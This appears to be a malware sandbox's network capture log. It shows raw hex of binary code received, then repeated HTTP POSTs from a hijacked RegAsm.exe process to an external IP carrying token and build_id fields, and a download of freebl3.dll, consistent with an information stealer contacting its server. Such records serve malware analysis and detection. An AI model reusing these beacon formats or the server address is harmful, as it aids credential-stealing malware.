2024-09-15 17:37:06 UTC	16384	IN	Data Raw: c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 8b f8 Data Ascii: @:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSV
2024-09-15 17:37:06 UTC	16384	IN	Data Raw: 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 74 24 Data Ascii: wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5t$
2024-09-15 17:37:06 UTC	16384	IN	Data Raw: 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f 0a 8b Data Ascii: D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-09-15 17:37:06 UTC	16384	IN	Data Raw: 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: 2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-09-15 17:37:06 UTC	16384	IN	Data Raw: c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-09-15 17:37:06 UTC	16384	IN	Data Raw: c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 cc cc Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-09-15 17:37:06 UTC	16384	IN	Data Raw: 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 e2 8b Data Ascii: ,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-09-15 17:37:06 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49729	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:08 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDGCBGDBKJKFHIECBA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:08 UTC	829	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 34 61 62 31 34 62 33 65 66 66 33 38 61 62 62 61 64 34 30 38 38 36 33 66 38 34 30 37 35 36 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 62 34 64 31 62 39 65 32 30 39 65 36 35 36 64 33 32 64 36 62 39 34 66 36 35 38 39 30 33 62 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 Data Ascii: ------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="token"5b4ab14b3eff38abbad408863f840756------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="build_id"4b4d1b9e209e656d32d6b94f658903b1------EHJDGCBGDBKJKFHIECBACont
2024-09-15 17:37:09 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-15 17:37:09 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49730	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:10 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFCFBFBFBKFIDHJKFCA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:10 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 34 61 62 31 34 62 33 65 66 66 33 38 61 62 62 61 64 34 30 38 38 36 33 66 38 34 30 37 35 36 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 62 34 64 31 62 39 65 32 30 39 65 36 35 36 64 33 32 64 36 62 39 34 66 36 35 38 39 30 33 62 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 Data Ascii: ------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="token"5b4ab14b3eff38abbad408863f840756------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="build_id"4b4d1b9e209e656d32d6b94f658903b1------CBFCFBFBFBKFIDHJKFCACont
2024-09-15 17:37:11 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-15 17:37:11 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49731	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:11 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJEGDAKEHJECAKEGDHJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:11 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 45 47 44 41 4b 45 48 4a 45 43 41 4b 45 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 34 61 62 31 34 62 33 65 66 66 33 38 61 62 62 61 64 34 30 38 38 36 33 66 38 34 30 37 35 36 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 47 44 41 4b 45 48 4a 45 43 41 4b 45 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 62 34 64 31 62 39 65 32 30 39 65 36 35 36 64 33 32 64 36 62 39 34 66 36 35 38 39 30 33 62 31 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 47 44 41 4b 45 48 4a 45 43 41 4b 45 47 44 48 4a 0d 0a 43 6f 6e 74 Data Ascii: ------GIJEGDAKEHJECAKEGDHJContent-Disposition: form-data; name="token"5b4ab14b3eff38abbad408863f840756------GIJEGDAKEHJECAKEGDHJContent-Disposition: form-data; name="build_id"4b4d1b9e209e656d32d6b94f658903b1------GIJEGDAKEHJECAKEGDHJCont
2024-09-15 17:37:12 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-15 17:37:12 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49732	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:12 UTC	244	OUT	GET /freebl3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:13 UTC	260	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:12 GMT Content-Type: application/octet-stream Content-Length: 685392 Connection: close Last-Modified: Sunday, 15-Sep-2024 17:37:12 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-15 17:37:13 UTC	16124	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHS
2024-09-15 17:37:13 UTC	16384	IN	Data Raw: ff 13 bd 10 ff ff ff 01 c8 89 45 b4 11 df 89 7d c8 89 f2 31 fa 8b 4d 98 31 c1 89 ce 0f a4 d6 10 89 b5 58 ff ff ff 0f ac d1 10 89 4d 98 8b 7d ec 01 cf 89 7d ec 8b 55 e0 11 f2 89 55 e0 31 d3 8b 4d 8c 31 f9 89 da 0f a4 ca 01 89 55 88 0f a4 d9 01 89 4d 8c 8b 5d d4 03 9d 20 ff ff ff 8b 45 cc 13 85 48 ff ff ff 03 5d 94 13 45 9c 89 45 cc 8b bd 7c ff ff ff 31 c7 8b 45 a8 31 d8 89 45 a8 8b 4d c4 01 f9 89 4d c4 8b 75 bc 11 c6 89 75 bc 8b 55 94 31 ca 8b 4d 9c 31 f1 89 d0 0f a4 c8 08 0f a4 d1 08 89 4d 9c 03 9d 04 ff ff ff 8b 75 cc 13 b5 08 ff ff ff 01 cb 89 5d d4 11 c6 89 75 cc 8b 4d a8 31 f1 31 df 89 fa 0f a4 ca 10 89 55 94 0f ac cf 10 89 bd 7c ff ff ff 8b 75 c4 01 fe 89 75 c4 8b 4d bc 11 d1 89 4d bc 31 c8 8b 5d 9c 31 f3 89 c1 0f a4 d9 01 89 8d 78 ff ff ff 0f a4 c3 Data Ascii: E}1M1XM}}UU1M1UM] EH]EE\|1E1EMMuuU1M1Mu]uM11U\|uuMM1]1x
2024-09-15 17:37:13 UTC	16384	IN	Data Raw: 08 89 88 90 00 00 00 31 d6 89 b0 9c 00 00 00 89 90 98 00 00 00 8b 4d e8 89 fa 31 ca c1 c2 08 31 d1 89 d6 89 88 a4 00 00 00 8b 4d d8 8b 55 d4 31 ca c1 c2 08 89 b0 a0 00 00 00 31 d1 89 88 ac 00 00 00 89 90 a8 00 00 00 8b 4d c0 8b 55 c4 31 d1 c1 c1 08 31 ca 89 90 b4 00 00 00 8b 95 54 ff ff ff 8b 75 bc 31 d6 c1 c6 08 89 88 b0 00 00 00 31 f2 89 90 bc 00 00 00 89 b0 b8 00 00 00 81 c4 d8 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 00 01 00 00 89 95 78 ff ff ff 89 cf ff 31 e8 a2 90 07 00 83 c4 04 89 45 bc ff 77 04 e8 94 90 07 00 83 c4 04 89 45 b8 ff 77 08 e8 86 90 07 00 83 c4 04 89 45 c0 ff 77 0c e8 78 90 07 00 83 c4 04 89 45 dc ff 77 10 e8 6a 90 07 00 83 c4 04 89 c6 ff 77 14 e8 5d 90 07 00 83 c4 04 89 c3 ff 77 18 e8 50 90 Data Ascii: 1M11MU11MU11Tu11^_[]USWVx1EwEwEwxEwjw]wP
2024-09-15 17:37:13 UTC	16384	IN	Data Raw: 83 c4 0c 8a 87 18 01 00 00 30 03 8a 87 19 01 00 00 30 43 01 8a 87 1a 01 00 00 30 43 02 8a 87 1b 01 00 00 30 43 03 8a 87 1c 01 00 00 30 43 04 8a 87 1d 01 00 00 30 43 05 8a 87 1e 01 00 00 30 43 06 8a 87 1f 01 00 00 30 43 07 8a 87 20 01 00 00 30 43 08 8a 87 21 01 00 00 30 43 09 8a 87 22 01 00 00 30 43 0a 8a 87 23 01 00 00 30 43 0b 8a 87 24 01 00 00 30 43 0c 8a 87 25 01 00 00 30 43 0d 8a 87 26 01 00 00 30 43 0e 8a 87 27 01 00 00 30 43 0f 0f 10 45 e0 0f 11 87 18 01 00 00 8b 4d f0 31 e9 e8 ad 4e 07 00 31 c0 83 c4 1c 5e 5f 5b 5d c3 cc cc cc 55 89 e5 68 28 01 00 00 e8 42 50 07 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 24 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 85 c9 74 50 8b 45 10 8d 50 f0 83 fa 10 77 45 be 01 01 01 00 0f Data Ascii: 00C0C0C0C0C0C0C 0C!0C"0C#0C$0C%0C&0C'0CEM1N1^_[]Uh(BP]USWV$M01EtPEPwE
2024-09-15 17:37:13 UTC	16384	IN	Data Raw: e6 fc 03 00 00 33 8e 70 3b 08 10 8b 75 e0 89 5e 1c c1 e8 18 33 0c 85 70 3f 08 10 89 56 20 8b 45 f0 8b 5d ec 29 d8 05 33 37 ef c6 0f b6 d4 8b 14 95 70 37 08 10 0f b6 f0 33 14 b5 70 33 08 10 89 c6 c1 ee 0e 81 e6 fc 03 00 00 33 96 70 3b 08 10 8b 75 e0 89 7e 24 c1 e8 18 33 14 85 70 3f 08 10 89 4e 28 89 56 2c 8b 45 e8 89 c7 0f a4 df 08 0f a4 c3 08 89 5d ec 8b 45 e4 01 f8 05 99 91 21 72 0f b6 cc 8b 0c 8d 70 37 08 10 0f b6 d0 33 0c 95 70 33 08 10 89 c2 c1 ea 0e 81 e2 fc 03 00 00 33 8a 70 3b 08 10 c1 e8 18 33 0c 85 70 3f 08 10 89 4e 30 8b 75 f0 89 f1 29 d9 81 c1 67 6e de 8d 0f b6 c5 8b 04 85 70 37 08 10 0f b6 d1 33 04 95 70 33 08 10 89 ca c1 ea 0e 81 e2 fc 03 00 00 33 82 70 3b 08 10 c1 e9 18 33 04 8d 70 3f 08 10 89 f1 8b 55 e4 0f a4 d6 18 89 75 e8 0f ac d1 08 89 Data Ascii: 3p;u^3p?V E])37p73p33p;u~$3p?N(V,E]E!rp73p33p;3p?N0u)gnp73p33p;3p?Uu
2024-09-15 17:37:13 UTC	16384	IN	Data Raw: c7 45 bc 00 00 00 00 8d 45 e0 50 e8 04 5a 04 00 83 c4 04 85 c0 89 7d a8 0f 88 d4 01 00 00 8d 45 d0 50 e8 ed 59 04 00 83 c4 04 85 c0 0f 88 c0 01 00 00 8d 45 c0 50 e8 d9 59 04 00 83 c4 04 85 c0 0f 88 ac 01 00 00 8d 45 b0 50 e8 c5 59 04 00 83 c4 04 89 c3 85 c0 0f 88 98 01 00 00 8d 46 04 8b 4d ac 83 c1 04 50 51 57 e8 ae d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 7c 01 00 00 8b 45 ac ff 70 0c ff 70 08 8d 45 c0 50 e8 48 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 5b 01 00 00 8d 46 10 8b 4d ac 83 c1 10 50 51 ff 75 a8 e8 6f d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 3d 01 00 00 8b 45 ac ff 70 18 ff 70 14 8d 45 e0 50 e8 09 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 1c 01 00 00 8b 4e 0c b8 40 00 00 00 81 f9 7f 07 00 00 77 2c b8 30 00 00 00 81 f9 bf 03 00 00 77 1f b8 20 00 00 00 81 f9 7f 01 00 Data Ascii: EEPZ}EPYEPYEPYFMPQW\|EppEPH[FMPQuo=EppEPN@w,0w
2024-09-15 17:37:13 UTC	16384	IN	Data Raw: 44 24 70 50 e8 5b 1c 04 00 83 c4 04 8d 44 24 60 50 e8 4e 1c 04 00 83 c4 04 8d 44 24 50 50 e8 41 1c 04 00 83 c4 04 8d 44 24 40 50 e8 34 1c 04 00 83 c4 04 8d 44 24 30 50 e8 27 1c 04 00 83 c4 04 8d 44 24 20 50 e8 1a 1c 04 00 83 c4 04 83 c6 04 83 fe 04 77 1a b8 13 e0 ff ff ff 24 b5 74 55 08 10 b8 05 e0 ff ff eb 0c b8 02 e0 ff ff eb 05 b8 01 e0 ff ff 50 e8 7d 90 06 00 83 c4 04 e9 75 fb ff ff cc cc 55 89 e5 53 57 56 81 ec ac 00 00 00 89 cb 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 73 08 83 c6 07 c1 ee 03 85 c9 74 1b 8b 41 04 80 38 04 0f 85 c2 01 00 00 8d 04 36 83 c0 01 39 41 08 0f 85 b3 01 00 00 89 95 48 ff ff ff c7 45 ec 00 00 00 00 c7 45 dc 00 00 00 00 c7 45 cc 00 00 00 00 c7 45 bc 00 00 00 00 c7 45 ac 00 00 00 00 c7 45 9c 00 00 00 00 c7 45 8c 00 00 00 00 c7 Data Ascii: D$pP[D$`PND$PPAD$@P4D$0P'D$ Pw$tUP}uUSWVM01EstA869AHEEEEEEE
